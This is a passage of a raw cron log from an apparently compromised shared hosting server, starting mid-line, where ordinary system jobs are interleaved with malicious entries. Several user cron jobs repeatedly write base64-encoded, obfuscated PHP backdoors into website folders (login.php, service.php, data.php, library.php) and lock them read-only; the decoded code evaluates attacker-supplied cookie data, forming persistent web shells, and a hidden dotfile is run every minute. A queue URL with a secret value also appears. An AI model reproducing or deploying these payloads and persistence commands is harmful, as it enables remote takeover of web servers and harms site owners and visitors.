tIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:18:02 medusa CROND[7466]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:18:02 medusa CROND[7467]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:18:02 medusa CROND[7468]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:18:02 medusa CROND[7460]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 06:19:01 medusa CROND[9230]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 06:19:01 medusa CROND[9231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:19:01 medusa CROND[9239]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:19:01 medusa CROND[9240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:19:01 medusa CROND[9242]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:19:01 medusa CROND[9241]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:19:01 medusa CROND[9245]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:19:01 medusa CROND[9246]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:19:01 medusa CROND[9247]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:19:01 medusa CROND[9249]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:19:01 medusa CROND[9258]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:19:01 medusa CROND[9263]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:20:01 medusa CROND[11056]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 06:20:01 medusa CROND[11077]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 06:20:01 medusa CROND[11078]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:20:01 medusa CROND[11081]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:20:01 medusa CROND[11080]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 06:20:01 medusa CROND[11079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:20:01 medusa CROND[11082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 06:20:01 medusa CROND[11085]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:20:01 medusa CROND[11084]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:20:01 medusa CROND[11087]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 06:20:01 medusa CROND[11091]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:20:01 medusa CROND[11092]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 06:20:01 medusa CROND[11086]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 06:20:01 medusa CROND[11093]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:20:01 medusa CROND[11097]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:20:01 medusa CROND[11098]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:20:01 medusa CROND[11099]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:20:01 medusa CROND[11100]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
